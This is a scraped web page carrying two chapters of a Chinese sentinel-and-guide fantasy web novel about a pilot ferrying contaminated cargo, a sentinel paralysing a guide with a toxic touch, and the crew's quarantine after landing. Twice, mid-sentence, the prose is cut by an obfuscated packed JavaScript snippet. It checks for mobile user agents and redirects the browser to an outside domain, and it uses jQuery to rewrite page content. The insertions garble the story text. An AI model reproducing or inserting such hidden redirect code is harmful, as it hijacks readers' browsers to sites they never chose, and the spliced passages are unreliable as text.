“而且。”他缓慢地深呼吸一次,肺部因为被空气填满,以至于连胸前都鼓胀起来。他慢慢呼出那口气,整个人变得有些慵懒:“我现在感觉很不错。很舒服。” 17.17 哨兵使用精神体接触污染后感到舒适的情况比较罕见。大部分时候精神体直接接触污染源都会给哨兵带来较大负担,产生一些负面状态,元翊还是第一次见萨隆这样的情况。 真希望他能专门写个情况说明,说一下自己究竟是怎么保持良好的精神和身体状态的,也好让全体哨兵观摩学习一下,这样哨兵的战斗耗损率和向导的工作量也会大大减少了。 从从研究院回白塔有一段不断的路程,驾驶员们互相通知了一下目前自己载具的状态,均无异常,可以按时回到白塔。元翊看了一眼显示着运输舱的页面,链接索上还残留这一些苔藓枯萎后的尸体,它们仿佛被榨干了水分,变成纸片一样非常平面的细小存在,随风狂舞却不断裂,即便中毒死去,依然顽强的保持着向上攀登的姿态,最后一根触须在最后一刻都死死的拉拽着链接索竭尽最后一丝力气向上。 简直像是被吸引以至于失去理智一样——哦,说错了,污染物没有理智,全凭本能行动。 发现自己竟然开始莫名其妙的共情一个污染物,元翊赶快甩甩脑袋,她觉得这是一个异常现象,自己可能被污染影响了,等等写工作报告的时候一定要把这个写进去。 这样想着,她又向后看了一眼。 萨隆似乎睡着了,他闭上眼睛后就没再睁开过,那只蓝色的青蛙一直乖顺的蹲在他的膝盖上,偶尔跳上他的肩膀,并不触碰载具的其他部位,也不去接触其他的乘客,只用圆圆的眼睛观察。 精神体和人体有些感官是共通的,究竟共通到什么地步因人而异,元翊和那只小青蛙短暂的对视,在青蛙歪歪脑袋的时候先一步移开了目光。 她略偏向程南洲:“你知道这是什么东西吗?感觉有点怪怪的。” 声音变小了。 青蛙又歪了歪头。 从萨隆本身开始闭目养神后,元翊与他人交谈的声音就变小了。其实声音大小并不能影响到哨兵,因为就算是这样降低声音说话他照样捕捉得到。载具的发动机轰鸣,舱外爆裂的风,污染物的呼吸呓语,他都听的一清二楚。 除此之外,还有人类的呼吸、心跳、血液流动摩擦过血管,拉动操作杆时机械声和肌肉收缩声。紧张时瞳孔会放缩,会轻微出汗,放松时后背会放松,心跳会变得和缓。 明明是最简单正常不过的人体反应,却莫名的能勾起他人的兴趣,只是听着这些声音,其他在耳膜鼓噪的、令人烦躁发狂的噪声都变得不那么震耳欲聋了。 像是一首旋律明快的舒缓音乐。 他听见元翊开始和程南洲交谈。 程南洲也同样压低了声音,先是抱歉的解释了他不能说很多,接着又献宝一样:“但是我可以告诉你它来自哪里。” “哪里?” “风廉。”程南洲压抑着雀跃:“我记得你好像也是风廉区,自从风廉成为沦陷区之后就封锁了,所以这或许可以算是一个来自家乡的特殊问候?” 抓握操作杆的手没有任何变化,她肌肉张弛有度,手指的力量与听见这句话之前没有半点不同,但元翊缓慢回头看了他一眼。 幸好驾驶飞行载具时驾驶员都会佩戴墨镜,宽大的黑色镜片遮挡住她的上半张脸,咬紧的牙关和紧绷的下巴让她不至于过于失态。她不太确定这句话是否包含恶意,毕竟哨兵和向导有时候思维异于常人,很难理解,但这不妨碍她依然感到冒犯。 十分冒犯。 自从风廉沦陷之后,还没有人这样冒犯过她。 程南洲的人体还笑盈盈的等着元翊的回应,而企鹅已经惊恐的僵住了。短暂的惊恐之后,它猛烈的用翅膀开始抽打好像什么都没有察觉到的人体,一直打得他懵懵的抱住头不再言语。 但一切已经于事无补。 企鹅一副天塌了的样子,小眼睛不知所措的看着元翊的背影。刚才那沉默的一眼之后她就转过去了,戴上耳机,专心投入到驾驶之中。 她什么也没有说,仿佛无事发生,但这比说点什么更可怕。 企鹅慌张又委屈的小声喊了她两声,她理都不理。 这种无视真让鹅沮丧,可是偏偏它又完全可以理解为什么会遭此对待,甚至元翊的处理已经足够温和包容了。 于是让鹅更加气愤人体的所作所为! 驾驶舱内,精神体开始了一场单方面的殴打。程南洲没有还手只是被动防御,然而空气中多出一些苦苦的味道,他似乎也能感受到自己似乎又做错了一些事情,但是他不知道自己做错了什么,也没有人告诉他。 原本闭目养神的萨隆饶有兴趣的看了一会儿,他觉得非常有趣,毕竟企鹅殴打程南洲,看起来就像程南洲在给那些濒临失控的哨兵净化一样。当然,这种程度的气息交换只是普通净化,深度净化可能要更加激烈一些,因为除了气息交换,深度净化对于肢体接触和体丨液丨交换也有需求,战斗风格也会更加暴戾。 毕竟...... 彼此用拳头问候内脏怎么不算是肢体接触呢? 血流交融怎么不算□□交换呢? 反正大家都默认程南洲的风格就是强者才能活,打赢了出静音室,打输了进焚化炉。 一边思索着,萨隆一边缓慢地褪下了自己的一只手套。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621275|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 青蛙跳到他的手掌上,触感柔软冰凉,这对搭档对视了一眼,萨隆露出一个了然的笑意。 抱着头抵抗来自飙泪企鹅的疯狂殴打时,程南洲突然感受到有什么东西落在了自己的肩膀上。 “抱歉,打扰一下。” 有人非常礼貌的用手指点了点他,于是企鹅和程南洲暂时停战,一起回头看向不知何时站起来的萨隆,他微笑着,一只手搭在程南洲的肩膀上:“你们有点太吵了,稍微安静点如何?” 程南洲还有点没有缓过来,他懵懵的:“啊,哦,不是,我不太理解,他们人不是都喜欢故乡的东西,为什么......” 说话时,他突然意识到,萨隆放在他肩膀上的是一只没有戴手套的手。 程南洲肌肉突然绷紧,然而在他做出反应,那只手在他没有防护的脖子上轻轻地贴了一下。 蜻蜓点水,一触即离。 动脉依然搏动着,程南洲的瞳孔剧烈扩散,全身猛然一僵后瘫倒在座位上。 还有他脚边的企鹅也是,蓝色的青蛙摸了一下那个橙黄色的脚蹼,企鹅就呱都没呱一声就躺下了。 做完这一切,萨隆重新坐回了自己的位置上,他伸了个懒腰,从容地歪着。 “终于安静了。”他满意地说。 苦苦的气味并没有消失,人类对后舱发生的一切似乎一无所知,也全不在意。她甚至没有回头看一眼突然安静下来的后舱。 独自欣赏了一会儿音乐,掺杂一些忧郁元素也同样引人入胜,较为满足之后,萨隆也戴上耳机。调整频道,稍微试音,他思索了一下。 “我是探索风廉的哨兵之一。”他说:“你想聊聊吗?” 频道内寂静无声。 只有一颗心脏跳动变快。 扑通 扑通 扑通 萨隆悠闲的等待着。 片刻之后,频道里传来驾驶员的声音。 “......伤害同行人员是违规行为。”她声音有点沙哑:“程南洲什么时候会恢复?” “他没有防备,但我也只是碰了碰他的皮肤,没有做其他事。”萨隆想了想:“毒素会让他麻痹半小时左右,不会伤到性命。” 好。 他看见驾驶员沉默的点头。 她纠结了一会儿,嘴唇也抿得紧紧的。 但最后,她说:“现在不行。” 元翊:“我现在正在工作中,不能让多余的情绪影响工作......稍后如果您不忙的话,可以占用你一点时间吗。” 她苦苦的:“麻烦你了。” 18.18 和萨隆说得一样,程南洲在半小时后顺利回复行动能力。他双目灼灼发亮,脸上的笑容热情洋溢战意凛然,丝毫不顾同样已经恢复了行动能力、正在拼命劝阻自己的企鹅,大步流星过去就朝萨隆领子抓过去。 哨兵举着双手一副投降的样子,任由自己被揪着领子提起来。 “我可以理解你的心情。”他毫不反抗,语气诚恳:“但是我想,你也不想妨碍别人工作吧,程向导。” 程南洲眼睛是亮的,杀气腾腾,腿把正拖住咬他的企鹅撩到一边。这个时候他和人的关联似乎变得稀薄了,看起来像是被另一个念头摄住了,已经完全无暇顾及其他,甚至让人感觉好像有什么东西要撑破这层人皮破壳而出。 现在突然被人提醒,他缓慢的转过头,与元翊在后视镜中的目光对到一起,不知何时,驾驶员的手已经悬到了一个红色按钮的旁边,这是快捷警报按钮,按下表示舱内发生非入侵性的异常情况,大部分时候是指内讧或者失控,如果舱内有哨兵向导,按下按钮就能激活爆炸项圈。 程南洲脸上的笑容与之前向萨隆伸手的时候一样灿烂,他抓着萨隆领子的手背上暴起青筋,那只握成拳的手缓慢的松开,用指腹摸了摸他的项圈。 是冰凉的。 还没有启动。 “......你说得对。”程南洲的声音缓慢又温和:“不能妨碍别人工作。” 他松开手,将萨隆领子的褶皱一点一点抚平:“咱们,落地之后再说。” “那你可能要排队了,程向导。”萨隆笑了两声:“我已经有约了。” 两位分开各自坐好之后,元翊也没有马上放松警惕。她在必要的操作结束之后,手指总会有意无意的重新游荡到快捷警报附近,随时准备应付特殊情况。 企鹅已经自闭了,它本来在驾驶位旁边试图哀求元翊点什么事情,但是元翊听不懂它的话,也看不懂胡乱拍打的翅膀到底是什么意思,唯一能搞明白的是企鹅现在非常慌张无措,不知道在担忧些什么事情。 元翊没怎么搭理它,只是让它不要干扰驾驶员工作。 企鹅委屈的眼睛一点一点暗淡下去了。 它缓慢地退后,回到程南洲的身边,在座椅后面找了一个角落缩在那里,用翅膀捂住眼睛小声哭起来。 不是在元翊家里的时候那种为了引人关注的假哭,这次估计是真的哭了,它努力不发出任何声音,但是因为太难过了,所以实在忍不住。 哭了一会儿,它自己就消失了。 ......该说不说,怪可怜的。听起来真的很难过,还是有苦说不出的那种委屈。 但是自己也很可怜啊,程南洲差点在她的驾驶舱内暴起伤人,按下快捷报警按钮的后果是可能会让她失去本年度的特优,变成普通的“优秀”。 ......不能同情那个臭企鹅,再怎么独立它和程南洲都是一体的! 这样想着,驾驶员让自己必须硬下心肠。她透过后视镜小心的观察向导,他现在随意的坐在椅子上,面向窗户望着云层,脸上一点笑意也没有,与之前判若两人。 她没见过程南洲这样,这位向导总是看起来高高兴兴,虽然有时候也会有一些怪诞行为,但是总体来说,和他相处并不是一件辛苦的事情。他看起来和自己的精神体关系非常融洽的样子,元翊没见过他俩单独出现,他们两个好像是目前她见过唯一一对每天如此高强度待在一起的搭档了。 她是第一次见到不和企鹅在一起的程南洲,也是第一次见到这样略显冷硬的程南洲。 他看起来...... 那双原本看向窗外的眼睛动了动,视线突然对上的时候,元翊突然产生了一种被锁定的危机感,肩膀一下紧绷起来。窗边光线很强,正好打到他的脸上,元翊看见那双瞳孔并不是人类熟悉的圆形。 不知何时原本惬意歪着的萨隆已经撑着扶手坐正了,他并没有看向程南洲的方向,但两只手套已经拉开,那是一个非常好发力的姿态。 一个笑容从程南洲的脸上缓慢牵起,仿佛拙劣的模仿,让人忍不住毛骨悚然起来。 他调整声音:“你——” “嘎!” 消失的企鹅突然出现!它惊慌失措的乱扇翅膀,甚至用小短腿跳起来。程南洲带上空白了一瞬,那双原本锐化的瞳孔悄然恢复原状,他茫然又无措,不知道为什么自己的企鹅又在胡乱骂他。 元翊看看程南洲,再看看企鹅,最终保持沉默,收回了自己的目光。她决定不去探究别人的秘密,尤其是这些有可能会给自己惹麻烦的秘密。 不过在工作情况报告当中这个还是得提一嘴。 有惊无险的顺利降落在白塔的停机坪上,元翊在任务后照例接受污染物测试,看是否有被运输物品感染,与此同时,其他两艘载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629226|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具也顺利到了。 “咦?”查验人员发出疑惑的声音,他招招手示意让其他伙伴过去看看:“你们看,只有这艘运输舱有泄露痕迹,可以看到污染物从这里一路攀爬上去......不好意思,这艘载具的驾驶员是谁?” 元翊立刻站起来,有点紧张的举起手跑过去:“是我,请问有什么问题吗?” 可能是她的紧张太过明显,查验人员笑着摆手:“别紧张。我们发现三个运输舱只有你的有泄露痕迹,稍后我们会要求调取你运输的全程记录,到时候请你配合。” 元翊:“好的好的。” 她忍不住补充:“我全程都非常规范操作的。” 查验人员:“不是问责的意思,就是例行查看,别紧张哈。” 交接任务完成的非常顺利。 接下来此次参与运输任务的所有工作人员要在第一次污染浓度感染测试通过后,再在医疗区进行为期三天的隔离,进行第二次测试,第二次测试通过之后方可再次投入正常工作生活。元翊对这种流程已经习以为常,正好趁着三天她可以稍作休息,顺便把工作情况汇报一写。 跟随引导人员离开的时候,她突然听见了一声口哨,回过头,萨隆正在向她招手,确认元翊看向他后,指了指自己手腕上的通讯装置。元翊会意,低头在自己手腕上操作了一下,在在场人员当中找到萨隆,发去好友申请。 再抬头看,萨隆通过后给她比了个OK。 元翊向他挥手道别,现在他们要各自开始为期三天的隔离了。 其实查验完成之后她就一直有点沮丧,明明三个人都是高级驾驶员,而且大家运输的污染物都在中途苏醒,但是只有自己的运输舱泄露了,这让她非常挫败。同行的两位大哥大姐对此毫不在意,还一直开导她这种倒霉事谁都会遇到,她这么年轻就已经称为高级驾驶员,已经非常了不起了。 “而且......等一下。”大姐愣了一下:“咱们走的方向对吗?我怎么记得这好像不是普通隔离区的方向啊?” 引导人员抱歉的一笑:“这个啊......因为之前哨兵们好像突然发疯、咳,我的意思是突然失控了,在隔离区大肆破坏了一通,很多正常设施现在都在抢修,普通隔离区暂时用不了了。” 他笑得更加抱歉:“所以,麻烦你们这三天先将就着和哨兵在同一区域隔离一下吧。实在抱歉哈。”